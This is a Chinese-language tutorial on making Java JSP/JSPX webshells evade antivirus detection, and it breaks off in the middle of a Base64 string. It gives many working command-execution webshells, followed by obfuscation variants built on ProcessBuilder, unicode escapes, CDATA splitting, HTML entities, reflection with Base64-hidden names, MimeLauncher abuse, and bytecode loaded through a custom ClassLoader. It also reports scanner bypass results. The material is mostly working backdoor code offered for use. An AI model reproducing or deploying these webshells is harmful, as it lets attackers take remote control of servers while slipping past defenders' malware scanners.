java40集教程全套（十万字解析java免查杀合集）
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>
<%
String cmd = request.getParameter("cmd");
Process process = runtime.getRuntime().exec(cmd);
InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
查杀的点在于Runtime.getRuntime().exec非常明显的特征
利用ProcessBuilder替换Runtime.getRuntime().exec(cmd)Runtime.getRuntime().exec(cmd)其实最终调用的是ProcessBuilder这个函数，因此我们可以直接利用ProcessBuilder来替换Runtime.getRuntime().exec(cmd)，从而绕过正则表达式
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>
<%
String cmd = request.getParameter("cmd");
Process process = new ProcessBuilder(new String[]{cmd}).start();
InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
免杀效果
某狗:
某盾:
某马：
vt：
某度在线查杀:
可以看到这全部都免杀过了，就换了一个函数。
这种方式是利用Expression将Runtime.getRuntime().exec这个特征分开，相当于一个对调函数。免杀效果一般，因为很多查杀都是直接匹配Runtime.getRuntime()
<%@ page import="java.beans.Expression" %>
<%@ page import="java.io.InputStreamReader" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStream" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd = request.getParameter("cmd");
Expression expr = new Expression(Runtime.getRuntime(), "exec", new Object[]{cmd});
Process process = (Process) expr.getValue();
InputStream in = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(in));
String tmp = null;
while((tmp = bufferedReader.readLine())!=null){
response.getWriter().println(tmp);
}
%>
查杀效果：
可以看到某狗已经查杀出来了。只能说效果很一般
jsp支持unicode编码，如果杀软不支持unicode查杀的话，基本上都能绕过
<%@ page language="java" contentType="text/html;charset=utf-8" pageEncoding="UTF-8"%>
<%@ page import="java.io.*"%>
<%
\uuuu0053\uuuu0074\uuuu0072\uuuu0069\uuuu006e\uuuu0067\uuuu0020\uuuu0063\uuuu006d\uuuu0064\uuuu0020\uuuu003d\uuuu0020\uuuu0072\uuuu0065\uuuu0071\uuuu0075\uuuu0065\uuuu0073\uuuu0074\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0050\uuuu0061\uuuu0072\uuuu0061\uuuu006d\uuuu0065\uuuu0074\uuuu0065\uuuu0072\uuuu0028\uuuu0022\uuuu0063\uuuu006d\uuuu0064\uuuu0022\uuuu0029\uuuu003b\uuuu0050\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu0020\uuuu0070\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu0020\uuuu003d\uuuu0020\uuuu0052\uuuu0075\uuuu006e\uuuu0074\uuuu0069\uuuu006d\uuuu0065\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0052\uuuu0075\uuuu006e\uuuu0074\uuuu0069\uuuu006d\uuuu0065\uuuu0028\uuuu0029\uuuu002e\uuuu0065\uuuu0078\uuuu0065\uuuu0063\uuuu0028\uuuu0063\uuuu006d\uuuu0064\uuuu0029\uuuu003b\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0020\uuuu0069\uuuu0073\uuuu0020\uuuu003d\uuuu0020\uuuu0070\uuuu0072\uuuu006f\uuuu0063\uuuu0065\uuuu0073\uuuu0073\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0028\uuuu0029\uuuu003b\uuuu0042\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0020\uuuu0062\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0042\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0028\uuuu006e\uuuu0065\uuuu0077\uuuu0020\uuuu0049\uuuu006e\uuuu0070\uuuu0075\uuuu0074\uuuu0053\uuuu0074\uuuu0072\uuuu0065\uuuu0061\uuuu006d\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu0028\uuuu0069\uuuu0073\uuuu0029\uuuu0029\uuuu003b\uuuu0053\uuuu0074\uuuu0072\uuuu0069\uuuu006e\uuuu0067\uuuu0020\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu006e\uuuu0075\uuuu006c\uuuu006c\uuuu003b\uuuu0077\uuuu0068\uuuu0069\uuuu006c\uuuu0065\uuuu0028\uuuu0028\uuuu0072\uuuu0020\uuuu003d\uuuu0020\uuuu0062\uuuu0075\uuuu0066\uuuu0066\uuuu0065\uuuu0072\uuuu0065\uuuu0064\uuuu0052\uuuu0065\uuuu0061\uuuu0064\uuuu0065\uuuu0072\uuuu002e\uuuu0072\uuuu0065\uuuu0061\uuuu0064\uuuu004c\uuuu0069\uuuu006e\uuuu0065\uuuu0028\uuuu0029\uuuu0029\uuuu0021\uuuu003d\uuuu006e\uuuu0075\uuuu006c\uuuu006c\uuuu0029\uuuu007b\uuuu0072\uuuu0065\uuuu0073\uuuu0070\uuuu006f\uuuu006e\uuuu0073\uuuu0065\uuuu002e\uuuu0067\uuuu0065\uuuu0074\uuuu0057\uuuu0072\uuuu0069\uuuu0074\uuuu0065\uuuu0072\uuuu0028\uuuu0029\uuuu002e\uuuu0070\uuuu0072\uuuu0069\uuuu006e\uuuu0074\uuuu006c\uuuu006e\uuuu0028\uuuu0072\uuuu0029\uuuu003b\uuuu007d%>
注意这里的\uuuu00可以换成\uuuu00uuu...可以跟多个u达到绕过的效果
将代码（除page以及标签）进行unicode编码，并条件到<%%>标签中，即可执行webshell
在线unicode编码转换：
https://3gmfw.cn/tools/unicodebianmazhuanhuanqi/
注意用此在线unicode编码后内容会存在 /ua ，需要手动删除，负责无法正常运行
可以看到依旧执行成功
查杀效果：
这个基本上是通杀了属实是，但由于特征过于明显，如果人工查杀的话，很容易被发现
这里是要是利用jspx的进行进行免杀，jspx其实就是xml格式的jsp文件
在jspx中，可以利用<jsp:scriptlet>来代替<%%>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%@page language="java" pageEncoding="utf-8" %>
<jsp:scriptlet>
String cmd = request.getParameter("cmd");
Process process = Runtime.getRuntime().exec(cmd);
InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
</jsp:scriptlet>
当<jsp:scriptlet>被过滤时可以利用EL表达式，达到绕过的效果
${Runtime.getRuntime().exec(param.cmd)}
EL表达式的11个隐含对象
其他情况：
利用命令空间改名去绕过
<demo:root xmlns:bbb="http://java.sun.com/JSP/Page" version="1.2">
<demo:scriptlet>
Runtime.getRuntime().exec(pageContext.request.getParameter("cmd"));
</demo:scriptlet>
</demo:root>
利用<jsp:expression>绕过
<jsp:root xmlns:bbb="http://java.sun.com/JSP/Page" version="1.2">
<jsp:expression>
Runtime.getRuntime().exec(pageContext.request.getParameter("cmd"));
</jsp:expression>
</jsp:root>
以上是jsp的一些特性，下面开始正式讲解CDATA
说人话就是<![CDATA[与]]>只要能配对就相互抵消，其他不变，因此就可以说多了一个混淆的方式，有点类似多行注释在一行中使用（sql注入绕过waf），但是这个特征可以将关键字，函数进行分割，让其能混淆的空间变的更大
下面是用xml格式的jsp文件
<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
version="2.0">
<jsp:directive.page contentType="text/html"/>
<jsp:scriptlet>
String cmd = request.getParameter("cmd");
Process process = Runtime.getRuntime().exec(cmd);
java.io.InputStream is = process.getInputStream();
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
</jsp:scriptlet>
</jsp:root>
可以看到这里是能正常运行的，接下来文件使用CDATA进行混淆
<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
version="2.0">
<jsp:directive.page contentType="text/html"/>
<jsp:scriptlet>
String cmd = requ<![CDATA[est.get]]>Parameter("cmd");
Process process = Ru<![CDATA[ntime.getRunt]]>ime().exec(cmd);
java.io.InputStream is = process.getInputStream();
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
</jsp:scriptlet>
</jsp:root>
依旧是能成功运行的，但是我们可以requst和Runtime这些类名都被插入了CDATA，从而消除了特征
免杀效果:
这里HTML编码免杀与jspx的特效有关，前面的CDATA设计到了jspx的相关知识，由此CDATA的免杀就在上文讲了
在XML里可以通过html实体编码来对特殊字符转义，jspx同样继承了该特性，由此jspx就具有识别html实体编码，接下来我们就利用上面的免杀马进行进一步的混淆
<?xml version="1.0" encoding="UTF-8"?>
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
version="2.0">
<jsp:directive.page contentType="text/html"/>
<jsp:scriptlet>
String cmd = requ<![CDATA[est.get]]>Parameter("cmd");
Process process = Ru<![CDATA[ntime.getRunt]]>ime().exec(cmd);
java.io.InputStream is = process.getInputStream();
java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
</jsp:scriptlet>
</jsp:root>
注意：含有CDATA的内容是不能进行html实体编码的，反之html实体编码后的内容也不能插入CDATA，否则无法执行
在线html实体编码：
https://www.qqxiuzi.cn/bianma/zifushiti.php
可以看到依旧可以正常运行
本章主要讲解反射在webhell中的利用，以及反射绕过杀软的利用与原理
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.io.*" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd = request.getParameter("cmd");
Class<?> rt =Class.forName("java.lang.Runtime");
Method runtimeMethod = rt.getMethod("getRuntime");
Method method = rt.getMethod("exec", String.class);
Object object = method.invoke(runtimeMethod.invoke(null),cmd);
Process process = (Process) object;
InputStream in = process.getInputStream();
InputStreamReader resultReader = new InputStreamReader(in);
BufferedReader stdInput = new BufferedReader(resultReader);
String s = null;
while ((s = stdInput.readLine()) != null) {
out.println(s);
}
%>
免杀效果:
特征太明显里面还有java.lang.Runtime，getRuntime，exec这些敏感内容，由于与反射相关的参数都是字符串，由此我们能操作的空间就很大了。
利用base64加解密敏感内容
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd = request.getParameter(new String(Base64.getdecoder().decode("Y21k"),"utf-8"));
Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));
Method runtimeMethod = rt.getMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
Method method = rt.getMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
Object object = method.invoke(runtimeMethod.invoke(null),cmd);
Process process = (Process) object;
InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
免杀效果：
通过测试发现并非查杀的是与反射相关的所有函数，而是匹配是否存在getMethod函数，因此我们只需将getMethod改为getDeclaredMethod即可
getDeclaredMethod替换getMethod
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));
Method runtimeMethod = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
Method method = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
Object object = method.invoke(runtimeMethod.invoke(null),cmd);
Process process = (Process) object;
InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = null;
while((r = bufferedReader.readLine())!=null){
response.getWriter().println(r);
}
%>
可以看到正常运行
免杀效果：
可以看到某盾依旧查杀，经过测试某盾查杀的是当存在反射函数又存在Process类的getInputStream方法时会被查杀，这种情况下，笔者并未找到太好的办法，要么就这些不回显，要么就利用之前文章写的免杀技巧。
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.*" %>
<%@ page import="java.util.Base64" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd = request.getParameter(new String(Base64.getDecoder().decode("Y21k"),"utf-8"));
Class<?> rt =Class.forName(new String(Base64.getDecoder().decode("amF2YS5sYW5nLlJ1bnRpbWU="),"utf-8"));
Method runtimeMethod = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("Z2V0UnVudGltZQ=="),"utf-8"));
Method method = rt.getDeclaredMethod(new String(Base64.getDecoder().decode("ZXhlYw=="),"utf-8"), String.class);
Object object = method.invoke(runtimeMethod.invoke(null),cmd);
%>
免杀效果：
在sun.net. www.MimeLauncher中存在一个run方法 ，而该run方法存在命令执行漏洞
本来打算将MimeLauncher放到前面内置函数免杀那篇文章上讲，由于MimeLauncher无法直接使用，需要借助反射进行调用，因此就笔者就将MimeLauncher放在反射免杀后讲，及本章
<%@ page import="java.io.*" %>
<%@ page import="java.net.URLConnection" %>
<%@ page import="java.net.URL" %>
<%@ page import="sun.net.www.MimeEntry" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
String cmd = request.getParameter("cmd");
URLConnection urlConnection = new URL("http://127.0.0.1%s").openConnection();
MimeEntry mimeEntry = new MimeEntry("naihe");
Class meClass = MimeEntry.class;
Field field = meClass.getDeclaredField("command");
field.setAccessible(true);
Field field2 = meClass.getDeclaredField("tempFileNameTemplate");
field2.setAccessible(true);
field2.set(mimeEntry,"naihe%s567");
InputStream inputStream = new InputStream() {
@Override
public int read() throws IOException {
return -1;
}
};
Class mimeClass = Class.forName("sun.net.www.MimeLauncher");
Constructor mimeCon = mimeClass.getDeclaredConstructor(MimeEntry.class,URLConnection.class,
InputStream.class,String.class,String.class);
mimeCon.setAccessible(true);
Thread thread = (Thread) mimeCon.newInstance(mimeEntry, urlConnection, inputStream, "0","0");
Field field3 = mimeClass.getDeclaredField("execPath");
field3.setAccessible(true);
field3.set(thread,cmd);
Method m = mimeClass.getDeclaredMethod("run");
m.setAccessible(true);
m.invoke(thread);
%>
类似MimeLauncher的类还有许多，适合大家去挖掘挖掘，利用时大概率会用到反射，就当练习练习反射相关的知识也是不错的选择
免杀效果：
这种方式简单地说就是用ideal将java文件编程成class文件，然后将class读取出来用base64编码即可，这种方式比较方便简单，不需要会使用ASM，javassist等字节码框架。
package com.demo;
import java.io.*;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.nio.ByteBuffer;
import java.nio.channels.FileChannel;
import java.util.Base64;
public class Demo {
public static void main(String[] args) throws IOException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException {
FileChannel fileChannel = null;
FileInputStream in = null;
in = new FileInputStream("C:\\Users\\12107\\Desktop\\免杀\\target\\classes\\com\\demo\\Shell.class");
fileChannel = in.getChannel();
ByteBuffer buffer = ByteBuffer.allocate((int) fileChannel.size());
while (fileChannel.read(buffer) > 0) {
}
System.out.println(new String(Base64.getEncoder().encode(buffer.array())));
}
}
Shell.java
package com.demo;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStream;
import java.io.InputStreamReader;
public class Shell {
public static String runs(String cmd) throws IOException {
Process process = Runtime.getRuntime().exec(cmd);
InputStream is = process.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = "";
String s = "";
while((r = bufferedReader.readLine())!=null){
s = r;
}
return s;
}
}
javassist是生成修改字节码的框架，使用比ASM更简洁，但是并非jvm自带的库，也是笔者非常喜欢的一个框架。
package com.demo;
import javassist.*;
import java.io.IOException;
import java.util.Base64;
public class Demo2 {
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
ClassPool classPool = ClassPool.getDefault();
CtClass cc1 = classPool.makeClass("com.demo.Shell");
CtConstructor cons = new CtConstructor(new CtClass[]{},cc1);
cons.setBody("{}");
String runCode1="{}";
cons.insertBefore((runCode1));
cc1.addConstructor(cons);
CtMethod cm2 = new CtMethod(ClassPool.getDefault().get("java.lang.String"), "runs", new CtClass[]{classPool.get("java.lang.String")}, cc1);
cm2.setModifiers(Modifier.PUBLIC);
cm2.setBody("{ Process process = Runtime.getRuntime().exec($1);\n"
" java.io.InputStream is = process.getInputStream();\n"
" java.io.BufferedReader bufferedReader = new java.io.BufferedReader(new java.io.InputStreamReader(is));\n"
" String r = \"\";\n"
" String s = \"\";\n"
" while((r = bufferedReader.readLine())!=null){\n"
" s = r;\n"
" }\n"
" return s;}");
cc1.addMethod(cm2);
System.out.println(new String(Base64.getEncoder().encode(cc1.toBytecode())));
}
}
ASM相比javassist操作更复杂，但是jvm自带，利用面非常广
package com.demo;
import jdk.internal.org.objectweb.asm.ClassWriter;
import jdk.internal.org.objectweb.asm.MethodVisitor;
import java.util.Base64;
import static jdk.internal.org.objectweb.asm.Opcodes.*;
public class Demo2 {
public static void main(String[] args){
ClassWriter cw = new ClassWriter(ClassWriter.COMPUTE_MAXS);
cw.visit(V1_8, ACC_PUBLIC, "Shell", null, "java/lang/Object", null);
MethodVisitor mw = cw.visitMethod(ACC_PUBLIC, "<init>", "()V", null, null);
mw.visitVarInsn(ALOAD, 0);
mw.visitMethodInsn(INVOKESPECIAL, "java/lang/Object", "<init>", "()V",false);
mw.visitInsn(RETURN);
mw.visitMaxs(1, 1);
mw.visitEnd();
MethodVisitor mw2 = cw.visitMethod(ACC_PUBLIC, "runs",
"(Ljava/lang/String;)Ljava/lang/Process;", null, null);
mw2.visitCode();
mw2.visitMethodInsn(INVOKESTATIC, "java/lang/Runtime", "getRuntime",
"()Ljava/lang/Runtime;",false);
mw2.visitVarInsn(ALOAD,1);
mw2.visitMethodInsn(INVOKEVIRTUAL, "java/lang/Runtime", "exec", "(Ljava/lang/String;)Ljava/lang/Process;", false);
mw2.visitInsn(ARETURN);
mw2.visitMaxs(10, 3);
mw2.visitEnd();
byte[] code = cw.toByteArray();
System.out.println(new String(Base64.getEncoder().encode(code)));
}
}
这里由于ASM操作比较复杂，就先生成一个简单的字节码(前面javac和javassist笔者写的回显都是在字节码这，这ASM回显的内容就先不放在ASM中生成)，由于runs函数的返回值为Process，我们只需要在后面的jsp处理中拿出来用即可。
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.security.cert.Certificate" %>
<%@ page import="java.security.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%
ClassLoader loader = new ClassLoader() {
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if(name.contains("com.demo.Shell")){
return findClass(name);
}
return super.loadClass(name);
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
try {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAFQEADmNvbS9kZW1vL1NoZWxsBwABAQAQamF2YS9sYW5nL09iamVjdAcAAwEABjxpbml0PgEAAygpVgwABQAGCgAEAAcBAARydW5zAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQARamF2YS9sYW5nL1J1bnRpbWUHAAsBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAANAA4KAAwADwEABGV4ZWMMABEACgoADAASAQAEQ29kZQABAAIABAAAAAAAAgABAAUABgABABQAAAARAAEAAQAAAAUqtwAIsQAAAAAAAQAJAAoAAQAUAAAAFAAKAAIAAAAIuAAQK7YAE7AAAAAAAAA=");
PermissionCollection pc = new Permissions();
pc.add(new AllPermission());
ProtectionDomain protectionDomain = new ProtectionDomain(new CodeSource(null, (Certificate[]) null), pc, this, null);
return this.defineClass(name, bytes, 0, bytes.length, protectionDomain);
} catch (Exception e) {
e.printStackTrace();
}
return super.findClass(name);
}
};
String cmd = request.getParameter("cmd");
Class<?> shell = loader.loadClass("com.demo.Shell");
Object object = shell.newInstance();
Method dm = shell.getDeclaredMethod("runs",String.class);
Process o2 = (Process)dm.invoke(object, cmd);
InputStream is = o2.getInputStream();
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(is));
String r = "";
String s = "";
while((r = bufferedReader.readLine())!=null){
s = r;
}
response.getWriter().println(s);
%>
免杀修改
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.FileInputStream" %>
<%@ page import="java.nio.channels.FileChannel" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page language="java" pageEncoding="UTF-8" %>
<%
Method defineClass =
ClassLoader.class.getDeclaredMethod("defineClass", String.class,
byte[].class, int.class, int.class);
defineClass.setAccessible(true);
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAUAoAEAAtCgAuAC8KAC4AMAoAMQAyBwAzBwA0CgAGADUKAAUANggANwoABQA4BwA5CgALAC0KAAsAOgoACwA7BwA8BwA9AQAGPGluaXQ AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL2RlbW8vU2hlbGw7AQAEcnVucwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJpcwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQABcgEAAXMBAA1TdGFja01hcFRhYmxlBwA BwA/BwBABwAzAQAKRXhjZXB0aW9ucwcAQQEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIHAEIMAEMARAwARQBGBwA/DABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAEQBJDAARAEoBAAAMAEsATAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABNAE4MAE8ATAEADmNvbS9kZW1vL1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEADwAQAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAABQAWABcAAAAJABgAGQACABMAAADlAAUABgAAAEu4AAIqtgADTCu2AARNuwAFWbsABlkstwAHtwAIThIJOgQSCToFLbYAClk6BMYAHLsAC1m3AAwZBbYADRkEtgANtgAOOgWn/ AZBbAAAAADABQAAAAiAAgAAAALAAgADAANAA0AHQAOACEADwAlABAALwARAEgAEwAVAAAAPgAGAAAASwAaABsAAAAIAEMAHAAdAAEADQA AB4AHwACAB0ALgAgACEAAwAhACoAIgAbAAQAJQAmACMAGwAFACQAAAAcAAL/ACUABgcAJQcAJgcAJwcAKAcAJQcAJQAAIgApAAAABAABACoAAQArAAAAAgAs");
Class shell = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), "com.demo.Shell", bytes, 0, bytes.length);
Object object = shell.newInstance();
Method dm = shell.getDeclaredMethod("runs",String.class);
Object invoke = dm.invoke(object, "calc");
%>
免杀效果：
虽然用原始的defindClass虽然能到达免杀效果，但是由于没有重写loadClass，findClass，没有打破双亲委派，导致恶意的字节码被加载后，再次访问网页的时候，类不会被生成，导致不能正常使用
自定义classloader免杀
<%@ page import="java.lang.reflect.Constructor" %>
<%@ page import="java.util.Base64" %>
<%@ page import="java.security.cert.Certificate" %>
<%@ page import="java.security.*" %>
<%@ page import="java.lang.reflect.Method" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.io.BufferedReader" %>
<%@ page import="java.io.InputStreamReader" %>
<%
ClassLoader loader = new ClassLoader() {
@Override
public Class<?> loadClass(String name) throws ClassNotFoundException {
if(name.contains("com.demo.Shell")){
return findClass(name);
}
return super.loadClass(name);
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
try {
byte[] bytes = Base64.getDecoder().decode("yv66vgAAADQAUAoAEAAtCgAuAC8KAC4AMAoAMQAyBwAzBwA0CgAGADUKAAUANggANwoABQA4BwA5CgALAC0KAAsAOgoACwA7BwA8BwA9AQAGPGluaXQ AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABBMY29tL2RlbW8vU2hlbGw7AQAEcnVucwEAJihMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQADY21kAQASTGphdmEvbGFuZy9TdHJpbmc7AQAHcHJvY2VzcwEAE0xqYXZhL2xhbmcvUHJvY2VzczsBAAJpcwEAFUxqYXZhL2lvL0lucHV0U3RyZWFtOwEADmJ1ZmZlcmVkUmVhZGVyAQAYTGphdmEvaW8vQnVmZmVyZWRSZWFkZXI7AQABcgEAAXMBAA1TdGFja01hcFRhYmxlBwA BwA/BwBABwAzAQAKRXhjZXB0aW9ucwcAQQEAClNvdXJjZUZpbGUBAApTaGVsbC5qYXZhDAARABIHAEIMAEMARAwARQBGBwA/DABHAEgBABZqYXZhL2lvL0J1ZmZlcmVkUmVhZGVyAQAZamF2YS9pby9JbnB1dFN0cmVhbVJlYWRlcgwAEQBJDAARAEoBAAAMAEsATAEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyDABNAE4MAE8ATAEADmNvbS9kZW1vL1NoZWxsAQAQamF2YS9sYW5nL09iamVjdAEAEGphdmEvbGFuZy9TdHJpbmcBABFqYXZhL2xhbmcvUHJvY2VzcwEAE2phdmEvaW8vSW5wdXRTdHJlYW0BABNqYXZhL2lvL0lPRXhjZXB0aW9uAQARamF2YS9sYW5nL1J1bnRpbWUBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7AQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwEADmdldElucHV0U3RyZWFtAQAXKClMamF2YS9pby9JbnB1dFN0cmVhbTsBABgoTGphdmEvaW8vSW5wdXRTdHJlYW07KVYBABMoTGphdmEvaW8vUmVhZGVyOylWAQAIcmVhZExpbmUBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nACEADwAQAAAAAAACAAEAEQASAAEAEwAAAC8AAQABAAAABSq3AAGxAAAAAgAUAAAABgABAAAACAAVAAAADAABAAAABQAWABcAAAAJABgAGQACABMAAADlAAUABgAAAEu4AAIqtgADTCu2AARNuwAFWbsABlkstwAHtwAIThIJOgQSCToFLbYAClk6BMYAHLsAC1m3AAwZBbYADRkEtgANtgAOOgWn/ 